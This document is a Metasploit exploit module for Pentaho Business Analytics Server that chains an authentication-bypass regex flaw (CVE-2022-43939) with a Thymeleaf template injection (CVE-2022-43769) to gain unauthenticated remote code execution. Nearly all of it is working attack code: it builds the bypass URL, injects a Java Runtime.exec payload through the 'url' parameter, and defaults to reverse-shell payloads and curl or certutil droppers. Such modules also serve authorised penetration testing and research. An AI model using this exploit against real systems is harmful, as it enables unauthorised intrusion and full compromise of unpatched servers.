Pentaho Business Server Authentication Bypass / SSTI / Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Pentaho Business Server Auth Bypass and Server Side Template Injection RCE',        'Description' => %q{          Hitachi Vantara Pentaho Business Analytics Server prior to versions 9.4.0.1 and 9.3.0.2, including 8.3.x is          vulnerable to an authentication bypass (CVE-2022-43939) and a Server Side Template Injection (SSTI) vulnerability          (CVE-2022-43769) that can be chained together to achieve unauthenticated code execution as the user          running the Pentaho Business Analytics Server.          The first vulnerability (CVE-2022-43939) is an authentication bypass which stems from a regex that allows any          URL that ends in "/", followed by "require", optionally "-js" or "-cfg", any character, and then the string          "js" followed optionally by "?" and then any characters of the attacker's choice.          The second (CVE-2022-43769) is a server side          template injection. This vulnerability allows RCE by making a GET request to /api/ldap/config/ldapTreeNodeChildren and          setting the url parameter to ThymeLeaf template code. By abusing the ability to execute arbitrary Java classes within          Thymeleaf templates, an attacker can execute arbitrary commands as the user running the Pentaho Business Analytics Server.        },        'Author' => [          'Harry Withington', # Discovery          'dwbzn', # PoC          'jheysel-r7' # Module        ],        'References' => [          ['URL', 'https://github.com/dwbzn/pentaho-exploits/blob/main/cve-2022-43769.py'], # POC          ['URL', 'https://research.aurainfosec.io/pentest/pentah0wnage/'], # Original writeup          ['URL', 'https://support.pentaho.com/hc/en-us/articles/14455561548301'], # Advisory          ['CVE', '2022-43769'], # RCE          ['CVE', '2022-43939']  # Auth Bypass        ],        'License' => MSF_LICENSE,        'Privileged' => false,        'Platform' => ['win', 'unix'],        'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],        'Targets' => [          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_openssl'              }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :linux_dropper,              'CmdStagerFlavor' => :curl,              'DefaultOptions' => {                'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'              }            }          ],          [            'Windows Command',            {              'Platform' => 'win',              'Arch' => ARCH_CMD,              'Type' => :win_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'              }            }          ],          [            'Windows Dropper',            {              'Platform' => 'win',              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :win_dropper,              'CmdStagerFlavor' => :certutil,              'DefaultOptions' => {                'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'              }            }          ],        ],        'DefaultTarget' => 0,        'DisclosureDate' => '2023-04-04',        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],          'Reliability' => [ REPEATABLE_SESSION ]        }      )    )    register_options(      [        Opt::RPORT(8080),        OptString.new('TARGETURI', [true, 'Base path', '/pentaho'])      ]    )  end  def check    # This check method abuses the authentication bypass vulnerability CVE-2022-43939 to check exploitability. Due to a    # bad regex in applicationContext-spring-security.xml endpoints that should not be accessible without authentication    # are made accessible if the URL ends in "/", followed by "require", optionally "-js" or "-cfg", any character,    # and then the string "js" followed optionally by "?" and then any characters of the attacker's choice.    post_require_mixup = ['-cfg', '-js', ''].sample    period_mixup = ['.', Rex::Text.rand_text_alphanumeric(1)].sample    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'api', 'ldap', 'config', 'ldapTreeNodeChildren', "require#{post_require_mixup}#{period_mixup}js")    )    return Exploit::CheckCode::Unknown unless res    if res.code == 200 && res.body == '{}'      Exploit::CheckCode::Appears    else      Exploit::CheckCode::Safe    end  end  def win_target?    target.platform.names.include?('Windows')  end  def execute_command(cmd, _opts = {})    java_payload = <<~JAVA.gsub(/^\s+/, '').tr("\n", '')      {T(java.lang.Runtime).getRuntime().exec(        new String[]{ #{win_target? ? '"cmd.exe", "/c", ' : '"/bin/sh", "-c", '}'#{cmd.gsub("'", "''")}'}        )      }    JAVA    post_require_mixup = ['-cfg', '-js', ''].sample    period_mixup = ['.', Rex::Text.rand_text_alphanumeric(1)].sample    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'api', 'ldap', 'config', 'ldapTreeNodeChildren', "require#{post_require_mixup}#{period_mixup}js"),      'vars_get' => {        'url' => "##{java_payload}",        'mgrDn' => Rex::Text.rand_text_alphanumeric(1..24),        'pwd' => Rex::Text.rand_text_alphanumeric(1..24)      },      'uri_encode_mode' => 'hex-all' # Needed to encode \ as %5C so we don't run into bad character issues that cause failure on server.    )    unless res      fail_with(Failure::UnexpectedReply, 'No response from the server when attempting to exploit')    end    unless res.code == 200      fail_with(Failure::UnexpectedReply, "Unexpected response code:#{res.code}, when attempting to exploit")    end    unless res.body == 'false'      fail_with(Failure::UnexpectedReply, "The response body from the exploit attempt indicates the attempt was                                          unsuccessful. The response body should only contain 'false'. The response body                                          returned was: '#{res.body}'")    end  end  def exploit    print_status('Attempting to exploit...')    case target['Type']    when :unix_cmd      execute_command(payload.encoded)    when :linux_dropper      execute_cmdstager    when :win_cmd      execute_command(payload.encoded)    when :win_dropper      execute_cmdstager    end  endend